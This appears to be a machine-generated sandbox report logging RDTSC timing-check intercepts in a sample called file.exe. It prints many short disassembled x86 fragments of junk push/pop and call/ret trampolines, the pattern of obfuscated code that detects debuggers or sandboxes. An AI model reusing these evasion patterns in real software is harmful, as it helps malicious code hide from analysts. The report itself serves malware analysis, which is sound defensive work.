Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E4167 second address: 8E418A instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F4EBCE5EB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ebx 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F4EBCE5EB90h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E418A second address: 8E41E0 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F4EBC76D9F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b nop 0x0000000c mov dword ptr [ebp+12448AA1h], esi 0x00000012 push 00000000h 0x00000014 mov dword ptr [ebp+122D343Ch], ebx 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push ecx 0x0000001f call 00007F4EBC76D9F8h 0x00000024 pop ecx 0x00000025 mov dword ptr [esp+04h], ecx 0x00000029 add dword ptr [esp+04h], 00000014h 0x00000031 inc ecx 0x00000032 push ecx 0x00000033 ret 0x00000034 pop ecx 0x00000035 ret 0x00000036 jc 00007F4EBC76D9FCh 0x0000003c mov edi, dword ptr [ebp+122D2851h] 0x00000042 jmp 00007F4EBC76D9FBh 0x00000047 xchg eax, esi 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E41E0 second address: 8E41E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E41E4 second address: 8E41EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E41EA second address: 8E41F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E41F0 second address: 8E41F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E41F4 second address: 8E4202 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E3229 second address: 8E3233 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F4EBC76D9F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E524A second address: 8E524F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E524F second address: 8E5275 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F4EBC76D9FFh 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jg 00007F4EBC76D9FCh 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E5275 second address: 8E52F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F4EBCE5EB86h 0x0000000a popad 0x0000000b popad 0x0000000c nop 0x0000000d jo 00007F4EBCE5EB99h 0x00000013 jnp 00007F4EBCE5EB93h 0x00000019 jmp 00007F4EBCE5EB8Dh 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push edx 0x00000023 call 00007F4EBCE5EB88h 0x00000028 pop edx 0x00000029 mov dword ptr [esp+04h], edx 0x0000002d add dword ptr [esp+04h], 00000017h 0x00000035 inc edx 0x00000036 push edx 0x00000037 ret 0x00000038 pop edx 0x00000039 ret 0x0000003a mov ebx, dword ptr [ebp+122D1A97h] 0x00000040 push 00000000h 0x00000042 push 00000000h 0x00000044 push edi 0x00000045 call 00007F4EBCE5EB88h 0x0000004a pop edi 0x0000004b mov dword ptr [esp+04h], edi 0x0000004f add dword ptr [esp+04h], 0000001Bh 0x00000057 inc edi 0x00000058 push edi 0x00000059 ret 0x0000005a pop edi 0x0000005b ret 0x0000005c mov dword ptr [ebp+1245662Ah], esi 0x00000062 push eax 0x00000063 pushad 0x00000064 push eax 0x00000065 push edx 0x00000066 pushad 0x00000067 popad 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E52F3 second address: 8E52F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E52F7 second address: 8E5302 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E735B second address: 8E7361 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E6456 second address: 8E6461 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F4EBCE5EB86h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E7432 second address: 8E7436 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E82FC second address: 8E8306 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4EBCE5EB8Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E8306 second address: 8E8323 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007F4EBC76DA04h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E8323 second address: 8E8379 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4EBCE5EB8Ch 0x00000008 js 00007F4EBCE5EB86h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 mov ebx, dword ptr [ebp+122D2928h] 0x00000017 push 00000000h 0x00000019 push ebx 0x0000001a sub bx, 5D61h 0x0000001f pop edi 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push edi 0x00000025 call 00007F4EBCE5EB88h 0x0000002a pop edi 0x0000002b mov dword ptr [esp+04h], edi 0x0000002f add dword ptr [esp+04h], 0000001Dh 0x00000037 inc edi 0x00000038 push edi 0x00000039 ret 0x0000003a pop edi 0x0000003b ret 0x0000003c mov ebx, dword ptr [ebp+122D35EBh] 0x00000042 movzx ebx, dx 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E8379 second address: 8E837D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EA31A second address: 8EA31E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EA31E second address: 8EA324 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EC197 second address: 8EC19B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ED7FC second address: 8ED801 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ED801 second address: 8ED81F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBCE5EB94h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ED81F second address: 8ED823 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E84D9 second address: 8E84E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EE82D second address: 8EE898 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4EBC76D9F8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007F4EBC76D9F8h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 0000001Bh 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 movsx edi, ax 0x0000002a push 00000000h 0x0000002c call 00007F4EBC76DA06h 0x00000031 mov edi, 02721444h 0x00000036 pop edi 0x00000037 push 00000000h 0x00000039 xchg eax, esi 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F4EBC76DA01h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EE898 second address: 8EE8B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBCE5EB97h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EF8E1 second address: 8EF8E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EF8E7 second address: 8EF8EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EF8EB second address: 8EF98F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBC76DA01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007F4EBC76D9F8h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push eax 0x0000002d call 00007F4EBC76D9F8h 0x00000032 pop eax 0x00000033 mov dword ptr [esp+04h], eax 0x00000037 add dword ptr [esp+04h], 0000001Ch 0x0000003f inc eax 0x00000040 push eax 0x00000041 ret 0x00000042 pop eax 0x00000043 ret 0x00000044 push 00000000h 0x00000046 push 00000000h 0x00000048 push edx 0x00000049 call 00007F4EBC76D9F8h 0x0000004e pop edx 0x0000004f mov dword ptr [esp+04h], edx 0x00000053 add dword ptr [esp+04h], 00000018h 0x0000005b inc edx 0x0000005c push edx 0x0000005d ret 0x0000005e pop edx 0x0000005f ret 0x00000060 cmc 0x00000061 mov edi, 3F6A93A7h 0x00000066 push eax 0x00000067 push esi 0x00000068 push eax 0x00000069 push edx 0x0000006a jmp 00007F4EBC76DA04h 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F09FC second address: 8F0A02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EFB33 second address: 8EFB4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4EBC76DA05h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FA4F6 second address: 8FA514 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4EBCE5EB96h 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FA514 second address: 8FA531 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F4EBC76D9FFh 0x0000000b jo 00007F4EBC76D9F6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FA7DF second address: 8FA7F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4EBCE5EB93h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FEE18 second address: 8FEE29 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FEE29 second address: 8FEE2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 906460 second address: 906469 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 906469 second address: 90646D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90646D second address: 906473 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 906473 second address: 90647A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90647A second address: 906480 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 906A0C second address: 906A10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 906A10 second address: 906A1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 906B6D second address: 906B77 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4EBCE5EB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 906B77 second address: 906B82 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 pop ebx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90729E second address: 9072A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9072A2 second address: 9072C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4EBC76DA08h 0x00000009 jl 00007F4EBC76D9F6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9073E3 second address: 9073F7 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4EBCE5EB86h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jc 00007F4EBCE5EB92h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90755F second address: 907569 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 907569 second address: 90756D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90756D second address: 907573 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 907573 second address: 907579 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 907579 second address: 907596 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBC76DA09h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90A981 second address: 90A99F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F4EBCE5EB97h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89052A second address: 89052E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89052E second address: 890549 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBCE5EB97h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 912E93 second address: 912E97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 912E97 second address: 912EA1 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4EBCE5EB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 912EA1 second address: 912EA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 912EA6 second address: 912ECE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F4EBCE5EB86h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F4EBCE5EB96h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91304D second address: 913067 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBC76DA00h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push edi 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 913526 second address: 913533 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jns 00007F4EBCE5EB86h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 913533 second address: 91353D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F4EBC76D9F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9136FC second address: 913729 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F4EBCE5EB99h 0x0000000a pushad 0x0000000b jmp 00007F4EBCE5EB8Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 913866 second address: 913875 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4EBC76D9FBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 913875 second address: 913879 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 913B8F second address: 913B9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007F4EBC76D9F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BE17D second address: 8BE187 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F4EBCE5EB86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 918D46 second address: 918D4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 918D4C second address: 918D52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 918D52 second address: 918D56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 919023 second address: 91902D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4EBCE5EB8Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91902D second address: 919037 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 919037 second address: 919076 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBCE5EB8Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4EBCE5EB96h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F4EBCE5EB92h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 919076 second address: 91908F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBC76DA05h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9194BB second address: 9194CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4EBCE5EB8Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9194CC second address: 9194E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4EBC76DA09h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 919AAE second address: 919AC3 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4EBCE5EB8Eh 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 919AC3 second address: 919AD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 919AD0 second address: 919ADA instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4EBCE5EB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 919ADA second address: 919AF2 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4EBC76D9F8h 0x00000008 push eax 0x00000009 push edx 0x0000000a js 00007F4EBC76D9F6h 0x00000010 jnc 00007F4EBC76D9F6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91D7A3 second address: 91D7B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007F4EBCE5EB86h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91D7B4 second address: 91D7BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D547D second address: 8D5481 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D5481 second address: 8D5485 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D5485 second address: 8D548F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D548F second address: 8D54CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edi 0x00000009 jmp 00007F4EBC76DA09h 0x0000000e pop edi 0x0000000f nop 0x00000010 mov edi, dword ptr [ebp+122D2BF0h] 0x00000016 lea eax, dword ptr [ebp+1247A23Ch] 0x0000001c mov dx, 1713h 0x00000020 nop 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
